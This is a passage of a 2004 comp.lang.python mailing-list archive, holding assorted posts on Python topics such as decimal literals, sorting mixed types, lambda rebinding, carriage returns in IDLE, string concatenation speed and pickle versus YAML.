In-Reply-To: <gPi5d.9693$gG4.8102@newsread1.news.pas.earthlink.net>
References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net>
	<mailman.3892.1096086361.5135.python-list@python.org>
	<%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net>
	<mailman.3902.1096119238.5135.python-list@python.org>
	<gPi5d.9693$gG4.8102@newsread1.news.pas.earthlink.net>
Message-ID: <864d370904092516122ca39551@mail.gmail.com>

On Sat, 25 Sep 2004 18:30:36 GMT, Andrew Dalke <adalke at mindspring.com> wrote:
> Carlos Ribeiro wrote:
> > Why not? It may be a good idea for Py3k -- instead of raw strings, why
> > not regular expressions strings?
> [......]
> Interestingly enough I happen to have a regexp engine
> I wrote which allows addition on evaluated patterns.
> It works by merging the parse trees.

I don't have enough knowledge of RE's theory, and I don't know if it
can be generalized, but it's a great solution. Was it ever discussed
here at c.l.py?

> It's very useful for building large patterns because
> 
> (?P<AC_block>(?P<AC>AC
> (?P<bioformat:dbid?type=accession&dbname=sp>(?P<ac_number>[\dA-Z_a-z]+))\;(
> (?P<bioformat:dbid?type=accession>(?P<ac_number>[\dA-Z_a-z]+))\;)*(\n|\r\n?))+)
> 
> is harder to write by hand than
> 
> AC = Group("AC",
>             Str("AC   ") +
>             Std.dbid(Martel.Word("ac_number"),
>                     {"type": "accession",
>                      "dbname": "sp"}) + \
>             Str(";") +
>             Rep(Martel.Str(" ") +
>                 Std.dbid(Martel.Word("ac_number"),
>                          {"type": "accession"}) +
>                 Str(";")) +
>             Martel.AnyEol())
> 
> AC_block = Group("AC_block", Martel.Rep1(AC))
> 
> (Even with MULTILINE, re.compile doesn't tell you the
> character position of the syntax error as well as
> Python does, nor does my editor help me out.)

Although I said that I found it neat, I really think both forms above
are hard enough to write by hand to make me flee in despair :-) But I
see your point.

> > Because the call-style syntax requires the use of a string as an
> > argument to avoid practical and phylosophical problems involving the
> > conversion of binary floats to decimal floats, and the string looks
> > out of place in numeric expressions.
> 
> That argument makes much more sense to me than saying
> that using 'd' is a compromise to having no way to write
> it as a literal.

Well, I hadn't really expressed myself well with regards to the
'compromise'. Sorry about that. A compromise is not an argument per se
-- it must be backed by facts, and the compromise must only be sought
if there's need to acommodate contraditory needs. It's not the case
here.

> Complex is rarely used, I agree.  I just read through
> the original discussion on adding complex to Python.
> The thread was titled "Should I add complex numbers to
> the Python code?" starting Dec. 10, 1995.
>
> [ LOTS OF REALLY RELEVANT INFORMATION!]

Well, that's was the greatest part of your post. That you've got
yourself into the hassle of checking a discussion nearly ten years old
was fantastic, and the quality of the information you've recovered is
nothing short of magnificent. Really. So much of superlatives :-)

Looking back at that discussion, I think that we're on the right road.
We already have a library working, and the proposed changes to the
syntax follow the same precedent of the i(maginary) suffix. It's too
early to tell, but the precendents looks good for the 'd'-suffix
proposal.

> An interesting point, made by Paul Dubois, is that
>  > Expressions like those shown never occur in real
>  > life. In fact, complex literals are RARE. Usually
>  > complex numbers occur as the output of a function,
>  > and usually in arrays (often, BIG arrays).  So in
>  > fact this issue is not very important.
> 
> Is the same true for decimal?

There is an important difference in favor of complex numbers. I think
that the support for the notation of complex numbers is more important
for OUTPUT than for INPUT. It's much easier to read a complex as
(1+2i) than to read it as complex(1,2). In large array printouts,
that's something that makes a lot of difference.

As far as decimals are concerned, their 'repr' would probably keep the
'd' suffix, to allow for reverse evaluation. But the string
representation would certainly miss the 'd' suffix. In this case, the
notation is clearly more useful for INPUT than for OUTPUT.
 
> BTW, at this time I was a ready of c.l.py but not
> an active user.  I didn't post to the thread.  I
> wanted complex because, well, I am a "retread
> physicist."  But I've never actually used complex
> for any of my Python work and suspect that I
> wouldn't have a problem using (say)
>    cmath.complex(1.12, 2.9)
> instead if I did.

But you sure find it more convenient to type (1.12+2.9i), don't you?

Best regards,

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From adalke at mindspring.com  Tue Sep 21 16:02:03 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 21 Sep 2004 20:02:03 GMT
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <mailman.3666.1095791375.5135.python-list@python.org>
References: <864d370904092109509df67ee@mail.gmail.com>	<loom.20040921T192348-961@post.gmane.org>	<20040921173455.GB2891@unununium.org>	<loom.20040921T193847-890@post.gmane.org>
	<mailman.3666.1095791375.5135.python-list@python.org>
Message-ID: <%M%3d.1682$g42.606@newsread3.news.pas.earthlink.net>

Phil Frost wrote:

> On Tue, Sep 21, 2004 at 05:42:35PM +0000, Steven Bethard wrote:
> 
>>Phil Frost <indigo <at> bitglue.com> writes:
>>
>>>On Tue, Sep 21, 2004 at 05:24:48PM +0000, I wrote:
>>>
>>>>Could you give an example of a list that you'd like to do this to?  I'm 
>>>>still having trouble imagining a list of disparate types that I call sort 
>>>>on...
>>>
>>>What about binary trees? Currently it's possible to implement a binary
>>>tree that is as general as a dict, but restricting comparisons to like
>>>types would make that impossible.
>>
>>Is there a good use case for binary trees with incompatible types at the nodes?
>>
>>I'm not sure I follow your comparison here anyway, since you can't sort a 
>>dict...  Could you clarify?
>>
>>Thanks,
>>
>>STeve
> 
> 
> That's the point. Dicts can't be sorted, but binary trees *must* be.
> There are at least two good reasons to use a binary tree:
> 
> - you need a mapping that is sorted by key
> - the worst case O(n) complexity of a hash table is not acceptable
> 
> The right question here is, "is there a reason for mappings with
> heterogeneous key types?" It's not something that I do often, but it's
> something that's important to have. Dynamic typing is a good thing.


From indigo at bitglue.com  Tue Sep 21 13:34:55 2004
From: indigo at bitglue.com (Phil Frost)
Date: Tue, 21 Sep 2004 13:34:55 -0400
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <loom.20040921T192348-961@post.gmane.org>
References: <864d370904092109509df67ee@mail.gmail.com>
	<loom.20040921T192348-961@post.gmane.org>
Message-ID: <20040921173455.GB2891@unununium.org>

What about binary trees? Currently it's possible to implement a binary
tree that is as general as a dict, but restricting comparisons to like
types would make that impossible.

On Tue, Sep 21, 2004 at 05:24:48PM +0000, Steven Bethard wrote:
> Carlos Ribeiro <carribeiro <at> gmail.com> writes:
> > For example: today's lists may contain objects of arbitrary types and
> > can be sorted; even if the actual ordering may seem arbitrary, it
> > works for most purposes. My question is: If Python 3.0 abolishes
> > comparison between arbitrary types, how will generic sorting be
> > handled?
> 
> Could you give an example of a list that you'd like to do this to?  I'm still 
> having trouble imagining a list of disparate types that I call sort on...
> 
> Thanks,
> 
> Steve


From gary.wilson at gmail.com  Thu Sep 23 20:51:17 2004
From: gary.wilson at gmail.com (gary)
Date: 23 Sep 2004 17:51:17 -0700
Subject: regular expression for integer and decimal numbers
Message-ID: <f23116.0409231651.7aeb19c0@posting.google.com>

I want to pick all intergers and decimal numbers out of a string.
Would this be the most correct regular expression to use?

"\d+\.?\d*"


From fuzzyman at gmail.com  Mon Sep 27 16:33:43 2004
From: fuzzyman at gmail.com (Fuzzyman)
Date: Mon, 27 Sep 2004 21:33:43 +0100
Subject: New to Python
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>	<mailman.3722.1095866933.5135.python-list@python.org>	<pan.2004.09.23.17.02.22.649109@jerf.org>	<poidnXQ3VpJ4V8zcRVn-qg@powergate.ca>
	<mailman.3961.1096294506.5135.python-list@python.org>
	<e7edndpKo-0upsXcRVn-qw@powergate.ca>
Message-ID: <42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com>

On Mon, 27 Sep 2004 12:11:29 -0400, Peter Hansen <peter at engcorp.com>
wrote:

>Erik Heneryd wrote:
>[about the Smart Questions essay]
>> Uhm...  sure.  The point is that it *is* intimidating and that you'll 
>> have to be pretty darn dedicated to asking/answering to consider it 
>> worth the time.
>
[snip..]

I found it a useful essay.
It *is* hard work to read through it all - but it is infinitely worth
it. The bottom line is that the advice it gives is very sensible - not
just to those who are entirely new to posting.

If you're not prepared to think about the way you frame your question
then you are basically hoping that other people will do your thinking
for you. It's not much fun helping someone like that...............

Regards,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From dperl at rogers.com  Mon Sep 13 21:30:47 2004
From: dperl at rogers.com (Dan Perl)
Date: Tue, 14 Sep 2004 01:30:47 GMT
Subject: #comments
References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org>
Message-ID: <bRr1d.108$NBi1.105@news04.bloor.is.net.cable.rogers.com>

You're missing a comma between the arguments in "print".  Here is how it 
should be:
  data=raw_input("Type something  ") # spaces after "something"
  myInput=data
  print "You typed ", myInput  # and again
  print "The fourth character is ", myInput[3]  # and again


"Ken Parkes" <cbuffer at NOSPAMrosecott.ukfsn.org> wrote in message 
news:pan.2004.09.13.21.27.31.291385 at NOSPAMrosecott.ukfsn.org...
> Hi,
> New to this game.  Have tried the following.
>
>  data=raw_input("Type something  ") # spaces after "something"
>  myInput=data
>  print "You typed " myInput  # and again
>  print "The fourth character is "myInput[3]  # and again
>
> When I run it in the shell I get error warnings for the second comment
> ( actually pointing to the t of myInput )  If I remove the comment I get
> one for the third comment.  What is wrong please?
>
> Ken.
> 




From pink at odahoda.de  Sat Sep 11 11:51:03 2004
From: pink at odahoda.de (Benjamin Niemann)
Date: Sat, 11 Sep 2004 17:51:03 +0200
Subject: Python library to access CVS?
In-Reply-To: <4712d252.0409110555.13ad27a3@posting.google.com>
References: <4712d252.0409110555.13ad27a3@posting.google.com>
Message-ID: <chv72m$8f0$03$1@news.t-online.com>

Parano wrote:

> Is there a Python library to access CVS?
> I tried to google search for it, but with "python cvs" you actually find
> alot of python projects that have CVS repository...
I'm not sure, but I think viewcvs (a web interface to CVS written in 
python) direcly accesses the CVS repository. You might have a look at it 
and see, how it does this and if there's code to reuse.


From bwm at acm.org  Thu Sep 23 10:48:16 2004
From: bwm at acm.org (bwm at acm.org)
Date: 23 Sep 2004 07:48:16 -0700
Subject: Microthreads without Stackless?
In-Reply-To: <5cq3d.17537$QJ3.13088@newssvr21.news.prodigy.com>
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
	<dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>
	<cieafr$m4b$1@nntp0.reith.bbc.co.uk>
	<8cf9f521.0409171009.142a3fcd@posting.google.com>
	<g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com>
	<8cf9f521.0409181021.6db6a3e4@posting.google.com>
	<5cq3d.17537$QJ3.13088@newssvr21.news.prodigy.com>
Message-ID: <1095950896.070433.42450@k26g2000oda.googlegroups.com>

> The point I got from Bernhard Mulder's recipe is how to yield
> from any call depth.  His method is to re-write every call chain
> that leads to a yield, so that every function is a generator and
> every call is in a for loop....
> That's the kind of solution I was discounting when I wrote,
> "Importantly, I do *not* have to re-write all the functions in
> every call chain that leads to a read or write".
>
In Python 2.4, you could use a decorator to convert a routine into a
generator.

With a Metaclass, you could do this "decoration" automatically for all
functions.

As for call chains, maybe you could define a Metaclass which converts
calls via some byte-code voodoo into for loops.



From grante at visi.com  Wed Sep  1 15:28:29 2004
From: grante at visi.com (Grant Edwards)
Date: 01 Sep 2004 19:28:29 GMT
Subject: I think a problem occured when i used long()
References: <8f17f4bc.0409011101.5ace996@posting.google.com>
Message-ID: <413622dd$0$8086$a1866201@newsreader.visi.com>

On 2004-09-01, Ali <alikakakhel3 at hotmail.com> wrote:
> I did the folloing in python shell:
>
>>>> x = 5.07e-25
>>>> x = long(x)
>>>> print x
> 0L
>
> Um... I was under the impresion that long numbers had very very long
> precision. But, it seems that in this case it rounded it to zero :(
>
> Please Help. Thank you :)

Um... what did you expect the integer value of 5.07e-25 to be?

-- 
Grant Edwards                   grante             Yow!  .. I see TOILET
                                  at               SEATS...
                               visi.com            


From exarkun at divmod.com  Thu Sep 16 10:39:15 2004
From: exarkun at divmod.com (exarkun at divmod.com)
Date: Thu, 16 Sep 2004 14:39:15 GMT
Subject: "Updating" lambda functions
In-Reply-To: <2qtl0oF139gn6U1@uni-berlin.de>
Message-ID: <20040916143915.29723.661537585.divmod.quotient.1908@ohm>

On 16 Sep 2004 14:07:20 GMT, Oliver Fromme <olli at haluter.fromme.com> wrote:
>Hi,
> 
> I'm trying to write a Python function that parses
> an expression and builds a function tree from it
> (recursively).
> 
> [snip]
> 
> I need to "update" a lambda function, like this:
> 
>         fu = lambda x: x
>         ...
>         fu = lambda x: fu(x) + 17
>         ...
>         fu = lambda x: fu(x) * 3
> 
> Of course that doesn't work, because fu is resolved
> when the lambda is called, not when it's defined, so
> I'll run into an endless recursion.
> 
> My current solution is to define a helper function
> which passes the lambda through its argument:
> 
> [snip]
> 
> That works, but it strikes me as unclean and ugly.
> Is there a better way to do it?

  One alternative:

>>> fu = lambda x: x
>>> fu = lambda x, fu=fu: fu(x) + 17
>>> fu = lambda x, fu=fu: fu(x) * 3
>>> fu(3)
60

  forcing definition-time binding of the name "fu" in the lambda's local scope.

  It strikes me that the y combinator should help here, but maybe that's just wishful thinking.

  Jp


From mynews44 at yahoo.com  Mon Sep  6 08:45:52 2004
From: mynews44 at yahoo.com (googleboy)
Date: 6 Sep 2004 05:45:52 -0700
Subject: has anyone done a blog or forum engine in python?
Message-ID: <e84f5d12.0409060445.73d6cffd@posting.google.com>

Hiya.

I am looking at implementing a blog and a forum for a personal
website.  I am also beginning to look at growing my programming skills
from newbie/mediocre to intermedaitely servicable and want to continue
doing this focussing on python.

It would be cool to find projects in python with code I can refer to.

Regards,

googleboy


From zathras at thwackety.com  Tue Sep 28 19:05:43 2004
From: zathras at thwackety.com (Michael Sparks)
Date: Wed, 29 Sep 2004 00:05:43 +0100 (BST)
Subject: all pairs of items in a list without indexing?
In-Reply-To: <20040928215701.GA11275@unpythonic.net>
Message-ID: <Pine.LNX.4.44.0409282346340.14797-100000@pingu.thwackety.com>

On Tue, 28 Sep 2004 jepler at unpythonic.net wrote:

> I think that Steven wants to generate all pairs of items in a list,
> not successive pairs.

Sorry, you're right, I misread. That'll teach me for reading and posting
when it's late and I'm tired :)

This is what was asked for:

# Given a list l which we want all pairs:
>>> l=[1,2,3,4,5]
>>> [(l[x],l[y]) for y in xrange(len(l)) for x in xrange(y,len(l)) if x!=y]
[(2, 1), (3, 1), (4, 1), (5, 1), (3, 2), (4, 2), (5, 2), (4, 3), (5, 3), (5, 4)]

ie just ask for it. Since this works on indices, you still get the same
pairs even when all the values in l are the same:

>>> l=[1,1,1,1,1]
>>> [(l[x],l[y]) for y in xrange(len(l)) for x in xrange(y,len(l)) if x!=y]
[(1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1), (1, 1)]

At least I think this is what's wanted this time* :) Bit wasteful though
due to the list creation.
   * Depends on whether Steven wants items paired with themselves or not.
     If he does ditching the if x!=y term would be what is wanted.

Regards,


Michael





From hinnc at yahoo.com  Thu Sep  2 15:55:07 2004
From: hinnc at yahoo.com (Canes_Rock)
Date: 2 Sep 2004 12:55:07 -0700
Subject: Carriage Return Problem with Python on Windows
Message-ID: <48593215.0409021155.69139a18@posting.google.com>

The information posted at:

http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=slrnarv28n.e4j.TuxTrax%40fortress.tuxnet&rnum=1&prev=/groups%3Fq%3Dsuppress%2Bcarriage%2Breturn%2Bgroup:comp.lang.python.*%26hl%3Den%26lr%3D%26ie%3DUTF-8%26group%3Dcomp.lang.python.*%26selm%3Dslrnarv28n.e4j.TuxTrax%2540fortress.tuxnet%26rnum%3D1

seemed to provide a solution to eliminating the line feed and causing
a carriage return for the text displayed in the IDLE window, (I want
to be able to overwrite displayed text - that is, eliminating the line
feed from occuring and causing a carriage return).

The comma at the end of the print command appeared to have eliminated
the line feed, (\n), but the carriage return, (\r) does not work.  For
example, (logic borrowed from previously referenced thread):

for i in range(10) : print '\r' + `i`,

This produces a small square box before each number, (sorry - can't
duplicate the small square box here in this posting but if you were to
substitute X for box the output would look like this):

X1 X2 X3 X4 X5 X6 X7 X8 X9

as you can see the line feed has been eliminated but the carriage
return is not functioning as I would expect, (yes - its always about
me isn't it?).

I also tried a variation using sys.stdout.write and sys.stdout.flush
but the root cause is the issue with the carriage return.

Am I screwed or is there a way around this?  I am running Windows XP
Home Edition using Python version 2.3.3 and IDLE version 1.0.2

Any help would be appreciated!

Thanks...


From grante at visi.com  Mon Sep 20 10:34:03 2004
From: grante at visi.com (Grant Edwards)
Date: 20 Sep 2004 14:34:03 GMT
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<cihrab$1v8$02$1@news.t-online.com>
	<4618b20c.0409192034.5408eebb@posting.google.com>
Message-ID: <414eea5b$0$62452$a1866201@newsreader.visi.com>

On 2004-09-20, david h <daveh at dmh2000.com> wrote:

> the problem with BCD or other 'decimal' computations is that it either
> doesn't have the dynamic range of binary floating point (~ +-10**310)

Huh?  Why would BCD floating point have any less range than
binary floating point?  Due to the space inefficiencies of BCD,
it would take a few more bits to cover the same range, but I
don't see your point.

-- 
Grant Edwards                   grante             Yow!  Hey, LOOK!! A pair of
                                  at               SIZE 9 CAPRI PANTS!! They
                               visi.com            probably belong to SAMMY
                                                   DAVIS, JR.!!


From peter at engcorp.com  Sun Sep 12 14:38:16 2004
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Sep 2004 14:38:16 -0400
Subject: 'telegraphy' as a means of data entry
In-Reply-To: <mailman.3203.1094997692.5135.python-list@python.org>
References: <QOK0d.394968$gE.276141@pd7tw3no><8YGdnbbBS6xILt7cRVn-iA@powergate.ca><llT0d.382584$M95.334812@pd7tw1no>	<S-ydnXbZkPyO0NncRVn-jg@powergate.ca>
	<mailman.3203.1094997692.5135.python-list@python.org>
Message-ID: <x6SdnU18pp4ECtncRVn-rQ@powergate.ca>

Fredrik Lundh wrote:

> in Tkinter, you'll find the event time (in milliseconds) in the time
> attribute of the event descriptor:
...
> also note that unlike Peter's example, the time attribute contains
> the time when the event was generated, not when it reached your
> program.

My example didn't show the time at all.  If you want
the time of the event generation in wxPython, you would
use the evt.GetTimestamp() call, which returns the
time of the event generation in milliseconds.

-Peter


From ialbert at mailblocks.com  Thu Sep  9 11:58:57 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Thu, 09 Sep 2004 11:58:57 -0400
Subject: simple string parsing ?
In-Reply-To: <Pine.LNX.4.44.0409091651330.1125-100000@kleigh.nl>
References: <mailman.3102.1094738800.5135.python-list@python.org>
	<Pine.LNX.4.44.0409091651330.1125-100000@kleigh.nl>
Message-ID: <cOqdnQ3R-ald4N3cRVn-hw@giganews.com>

Peter Kleiweg wrote:

> R = re.compile('[=+*:()]|[a-z]+|[A-Z]+[0-9]+|[0-9]*\.[0-9]+|[0-9]+|[^ \t\r\n])

Lets also mention the title of the chapter under which a
newbie can get more info on such solutions:

Regexes: Bad Idea or Big Mistake?

Istvan.


From bradtilley at usa.net  Wed Sep 15 13:17:40 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Wed, 15 Sep 2004 13:17:40 -0400
Subject: See exactly what a function has returned
Message-ID: <ci9tfk$71t$1@solaris.cc.vt.edu>

Is there an easier way to do this:

def print_whats_returned(function):
     print function
     print type(function)


From pythongnome at hotmail.com  Sat Sep  4 08:14:18 2004
From: pythongnome at hotmail.com (Lucas Raab)
Date: Sat, 04 Sep 2004 12:14:18 GMT
Subject: 2 different Python distributions on same Windows box?
References: <1ua_c.794$Gi5.373@trndny05>
Message-ID: <uki_c.5366$Vl5.2285@newsread2.news.atl.earthlink.net>

If you're on Windows then your only problem would be if you double-clicked 
whatever Python file you wanted to run. If you did do that then the most 
recent version of Python would run the app.

"David Lees" <abcdebl2nonspammy at verizon.net> wrote in message 
news:1ua_c.794$Gi5.373 at trndny05...
>I currently have PythonWin 2.3.4 on my Windows 2000 box, but would like to 
>try the Enthougt 2.2.3 distribution.  Are there any tricks to making these 
>2 distributions co-exist?  Are there any potential problems?
>
> TIA
>
> David Lees 




From mauriceling at acm.org  Sun Sep  5 19:20:59 2004
From: mauriceling at acm.org (Maurice LING)
Date: Sun, 05 Sep 2004 23:20:59 GMT
Subject: compiling to python byte codes
In-Reply-To: <pan.2004.09.04.14.43.20.140684@jerf.org>
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
	<ch8r2b$mva$1@news.service.uci.edu>
	<4137f79f$1@news.unimelb.edu.au>
	<4138207f$0$182$9b622d9e@news.freenet.de>
	<pan.2004.09.04.14.43.20.140684@jerf.org>
Message-ID: <413b9f57$1@news.unimelb.edu.au>

> 
> In your situation, I can promise you that it is *faster* to take the time
> to learn about this stuff correctly then to try to power through it
> without learning; it is one of those places in computer technology
> where there are such powerful tools to help you that it is better to
> learn how to use them then to kludge through. Unfortunately, it is too
> large a topic to cover in a Usenet posting. 

I realised that there are powerful tools such as lex and yacc around 
that can save me a lot of time. I'll be using PLY for my purpose.

> 
> If your institution offers a compilers class (a sadly diminishing number),
> try to take or audit that. (You most likely don't want a *compiler*, but
> an *interpreter*; the course will explain the difference. An interpreter
> typically uses much the same technology to implement, parsers and abstract
> syntax trees and such, but is usually much easier to implement.)  (I think
> you hinted this was thesis project, hence this suggestion. Failing that,
> you may need a compilers book and some self-study time. Again, I promise
> you this is faster almost immediately than trying to power through this
> without it.)

I can only have the self-study options and good books on compiler 
construction are rare. I am a molecular biologist by professional 
training. There are things that are tough for me to understand and to 
just find the answer about stacks vs register computers will take ages, 
and I always appreciate people who do not treat me as an idiot. I'm sure 
there are much more idiotic questions being asked in newsgroups.

> 
> Stepping up a level, are you sure you can't just implement a C or Python
> library and let people write their own programs in Python? You'll never be
> able to match Python-the-language's feature set. 

What I'm doing is a special-purpose language (for modelling purposes).


From aleaxit at yahoo.com  Tue Sep 14 10:43:30 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 16:43:30 +0200
Subject: unittest.TestCase, lambda and __getitem__
References: <mailman.3214.1095049956.5135.python-list@python.org>
	<roy-3F3E48.09514613092004@reader1.panix.com>
	<4145f4ae$1@nntp0.pdx.net>
Message-ID: <1gk43lv.4a2etasawdy8N%aleaxit@yahoo.com>

Scott David Daniels <Scott.Daniels at Acm.Org> wrote:

> Roy Smith wrote:
> >.... I think you need to just create a little function and call it:
> > 
> > def tryIndex (object, index):
> >    return obj [index]
> 
> For python 2.4 and beyond, the function is called operator.getitem,
> so I'd call it getitem.

It's named just the same way in 2.3:

kallisti:~ alex$ python2.3
Python 2.3 (#1, Sep 13 2003, 00:49:11) 
[GCC 3.3 20030304 (Apple Computer, Inc. build 1495)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import operator
>>> operator.getitem
<built-in function getitem>
>>> 

What's new in 2.4 is operator.itemgetter, a subtle higher-order
function...


Alex


From aleaxit at yahoo.com  Wed Sep 22 15:57:01 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 22 Sep 2004 21:57:01 +0200
Subject: Python speed-up
References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>
	<1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com>
	<mailman.3739.1095881975.5135.python-list@python.org>
Message-ID: <1gkjaxf.17zrqs7d3fcbaN%aleaxit@yahoo.com>

Gerrit <gerrit at nl.linux.org> wrote:
   ...
> Why isn't cStringIO faster than concatenating strings?
> 
> Using python2.4:

Python 2.4 did reduce the cost of the bigstring+=littlepiece trap.  But
I do agree there's nevertheless something strange here.  cStringIO is
using a very different strategy, a buffer that doubles and gets
realloc'd every time it would fill up -- maybe that's tripping up its
performance...?


Alex


From bokr at oz.net  Sat Sep  4 17:02:46 2004
From: bokr at oz.net (Bengt Richter)
Date: 4 Sep 2004 21:02:46 GMT
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
	<Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>
	<chctqv$e50$0$216.39.172.122@theriver.com>
	<4139FCDA.8020601@jessikat.fsnet.co.uk>
Message-ID: <chdahm$sdp$0$216.39.172.122@theriver.com>

On Sat, 04 Sep 2004 18:35:22 +0100, Robin Becker <robin at SPAMREMOVEjessikat.fsnet.co.uk> wrote:

>Bengt Richter wrote:
>> On 2 Sep 2004 06:17:05 GMT, Eric Bohlman <ebohlman at omsdev.com> wrote:
>> 
>> 
>>>"Amanita, Love Ewe" <ladyamanita at aol.com> wrote in
>>>news:1bf5bcb9.15695836 at aol.com: 
>>>
>>>
>>>>Sharon expects the printer within hers and actually looks.  Why will
>>>>you grasp the ugly worthwhile onions before Satam does?  Many proud 
>>>>cats over the abysmal planet were loving against the tired bathroom.  
>>>
>>>This seems to be of somewhat better quality than the output of the typical 
>>>random-text generator.  Can anyone suggest something on CPAN useful for 
>>>such?
>> 
>> 
>>         Clearly, the speaker-hearer's linguistic intuition suffices
>.......
>> 
>> Regards,
>> Bengt Richter
>
>wow! my litle chomsky :)
>
Did you originate that? I found it somewhere in lisp, but there was no author identified.
It starts:
________

;;; -*- Mode: LISP; Syntax: Common-lisp; Base: 10. -*-
 
(defvar *line-length* 72.)
 
(defvar *chomsky-help*
        "CHOMSKY is an aid to writing linguistic papers in the style
    of the great master.  It is based on selected phrases taken 
    from actual books and articles written by Noam Chomsky. 
    Upon request, it assembles the phrases in the elegant
    stylistic patterns that Chomsky is noted for. 
    To generate n sentences of linguistic wisdom, type 
        (CHOMSKY n)  -- for example 
        (CHOMSKY 5) generates half a screen of linguistic truth.")
________
 
I was doing a little perl at the time, so I took the source verbatim and prefixed perl
code ending in __END__ on that, so I could use DATA to get at the strings in the lisp
mainly, and then sort of duplicate the processing logic in perl. The above was an output
I just ran. My perl of this dates to Aug 99, so it's not as easy to read as if I had
written it in Python ;-) Unfortunately,

Are you the original author? There must be a nostalgia story around this ;-)

Regards,
Bengt Richter


From chrisks at NOSPAM.udel.edu  Sat Sep 18 01:33:14 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sat, 18 Sep 2004 05:33:14 GMT
Subject: PyYaml?
In-Reply-To: <pan.2004.09.19.00.11.40.671123@jerf.org>
References: <2IO2d.1086$HH5.1025@trndny05>
	<pan.2004.09.19.00.11.40.671123@jerf.org>
Message-ID: <uMP2d.109$uz1.75@trndny03>

Jeremy Bowers wrote:

> On Sat, 18 Sep 2004 04:20:14 +0000, Chris S. wrote:
> 
> 
>>Is there any benefit to Pickle over YAML? Given that Pickle is insecure, 
>>wouldn't it make more sense to support a secure serialization format, 
>>one that's even readable to boot, such as YAML? 
> 
> 
> Anything that can "pickle" will be insecure. It is the capabilities of
> pickling, not the implementation, that is insecure.

I disagree. Pickle's mini programming language allows for arbitrary file 
deletion. There's nothing in the concept of serialization that requires 
this ability.


From me at privacy.net  Mon Sep 27 16:05:17 2004
From: me at privacy.net (Richard Hanson)
Date: Mon, 27 Sep 2004 13:05:17 -0700
Subject: synchronize a block
References: <2rqduhF1di4lmU1@uni-berlin.de>
	<b5qdnRyUvIusnsXcRVn-gA@powergate.ca> <DUT5d.438$gk.278@okepread01>
	<WfudnV7vZuEUpMXcRVn-jQ@powergate.ca>
Message-ID: <fbpgl01n1emu9i8if634n77qkp8fi992pp@4ax.com>

Peter Hansen wrote:

> Steve Holden wrote:
>  
> > One of the best features of c.l.py is how questions phrased in the most 
> > ambiguous terms are often slowly elaborated into meaningful enquiries.
>
> Sometimes, and more so lately, *painfully* slowly.  I'm somewhat
> saddened by the waste involved in some of those threads where the
> OP posts a vague question, we all spend days replying with various
> guesses at what was really intended, and then finally the OP
> posts again (and sometimes they don't even do us that courtesy!)
> and says merely "oh, it wasn't that complicated, I just meant X"
> and it turns out to have been a FAQ item anyway. :-(

While I'm in complete agreement with your sentiments above, Peter,
newsgroup dynamics *are* difficult. Speaking for myself, both you and
Steve (and virtually all other respondents) have been *quite* helpful
and friendly to me. But attempting to follow the customs of a group
can be a bit intimidating for some newer posters. While I'm not
intimidated (alas, eh? ;-) ), I've been told by different long-term
posters -- all with the best of intentions, I firmly believe -- that
I've given too *much* information in some cases, as well as too
*little* information in other cases. (And usually, they were correct.
;-) ) I'm fully capable of adjusting up and learning as needed -- and
I most *certainly* don't take any of this personally, in any case.
However, many of the newbies may not fare so well.

Mostly, in this group, people are quite civil and mature -- even in
the face of repeated problems such as you mention above. But that is
not the case universally -- here, or in any other group. Indeed, in
the world at large.

I have no answers, as it were. Likely, we're all going to have to hold
on tight as we careen into this 'Fraid New World, stumbling along,
working things out as we go. :-)

> But then, Steve, you're an optimist and I'm not.  ;-)

;-)


cautiously-pessimistically y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From alexis.roda at urv.es  Thu Sep  9 10:57:52 2004
From: alexis.roda at urv.es (Alexis Roda)
Date: Thu, 09 Sep 2004 16:57:52 +0200
Subject: simple string parsing ?
In-Reply-To: <5db3bf00040909070658936b98@mail.gmail.com>
References: <5db3bf00040909070658936b98@mail.gmail.com>
Message-ID: <41406F70.1070209@urv.es>

TAG wrote:
